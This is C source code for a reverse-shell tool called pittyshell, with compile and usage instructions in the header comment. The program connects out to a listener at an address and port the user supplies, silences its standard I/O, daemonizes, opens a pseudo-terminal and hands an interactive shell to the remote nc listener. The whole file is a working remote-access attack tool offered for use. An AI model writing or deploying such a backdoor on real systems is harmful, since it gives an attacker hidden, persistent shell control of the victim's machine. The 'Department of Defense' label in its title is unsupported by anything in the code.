/* Department of Defense Special Reverse Shell in C * To compile: * cc -lutil
-opittyshell pittyshell.c * To run: * ./pittyshell IP:v4or6:address port
[/path/to/]shell [shell args] * Listen with nc on the other end for the shell.
* Example: * Start nc in one window: $ nc -l ::1 34343 * Then in another
window: $ ./pittyshell ::1 34343 /bin/sh */ #include <stdio.h> #include
<fcntl.h> #include <sys/types.h> #include <sys/socket.h> #include <unistd.h>
#include <netinet/in.h> #include <arpa/inet.h> #include <termios.h> #include
<signal.h> /* forkpty() is declared in either util.h (for BSD) or pty.h (for
Linux) */ #ifdef HAVE_UTIL_H #include <util.h> #endif #ifdef HAVE_PTY_H
#include <pty.h> #endif int main(int argc, char **argv) { int k, m, n, af, pf,
sock, devnull, shell, in, out, pid; pid_t terminal; FILE *sockfp; u_int16_t
port; /* Call htons() to convert to network byte order. */ size_t
sockstructlen; union { /* A union is the correct way to handle socket
structures. */ struct sockaddr sock; struct sockaddr_in sock4; struct
sockaddr_in6 sock6; } sockaddru; char *buf[8192]; memset(&sockaddru, 0,
sizeof(sockaddru)); if (argc < 4) exit(1); sscanf(argv[2], "%hu", &port); if
(strpbrk(argv[1], ".") != NULL) { /* IPv4 dotted quad */ af = AF_INET; pf =
PF_INET; sockstructlen = sizeof(sockaddru.sock4); inet_pton(af, argv[1],
&sockaddru.sock4.sin_addr); sockaddru.sock4.sin_port = htons(port); /* network
byte order--big endian */ } else if (strpbrk(argv[1], ":") != NULL) { /* looks
more like an IPv6 address. */ af = AF_INET6; pf = PF_INET6; sockstructlen =
sizeof(sockaddru.sock6); inet_pton(af, argv[1], &sockaddru.sock6.sin6_addr);
sockaddru.sock6.sin6_port = htons(port); /* There might be a few more things to
do for IPv6 */ } else {/* We need to bail out here. */}
sockaddru.sock.sa_family=af; /* This is valid for any address family. */ sock =
socket(af, SOCK_STREAM, 0); if (sock < 0) exit(1); if (connect(sock,
&sockaddru.sock, sockstructlen) != 0) exit(2); sockfp = fdopen(sock, "r+"); if
(sockfp == NULL) exit(3); fprintf(sockfp, "%s", "Socket opened. Closing STDIO
file descriptors...\n"); fflush(sockfp); devnull = open("/dev/null", O_RDWR,
0); if (devnull < 0 || dup2(devnull, STDIN_FILENO) < 0 || dup2(devnull,
STDOUT_FILENO) < 0 || dup2(devnull, STDERR_FILENO) < 0 ) exit(4);
fprintf(sockfp, "%s", "File descriptors closed. Daemonizing...\n");
fflush(sockfp); if(fork() || (setsid(),fork())) _exit(0); fprintf(sockfp, "%s",
"Daemonized. Starting terminal...\n"); fflush(sockfp); terminal =
forkpty(&shell, NULL, NULL, NULL); switch (terminal) { case 0: fprintf(stderr,
"%s", "Terminal started. Executing shell...\n"); execvp(argv[3], argv + 3);
case (-1): fprintf(sockfp, "%s", "Failed to start shell. Exiting...\n");
exit(5); } /* only the parent leaves the switch statement */ signal(SIGPIPE,
SIG_IGN); fprintf(sockfp, "%s", "Forking for I/O...\n");
fflush(sockfp); pid = fork(); if (pid < 0) { fprintf(sockfp, "%s", "Failed to
fork for I/O. Exiting...\n"); exit(6); } else if (pid == 0) in = sock, out =
shell; else in = shell, out = sock; while (n = read(in, buf, 8192), n > 0) {
for (m = 0; m < n; m += k) { k = write(out, buf + m, n - m); if (k < 1) break;
} if (k < 1) break; } shutdown(sock, pid ? SHUT_WR : SHUT_RD); }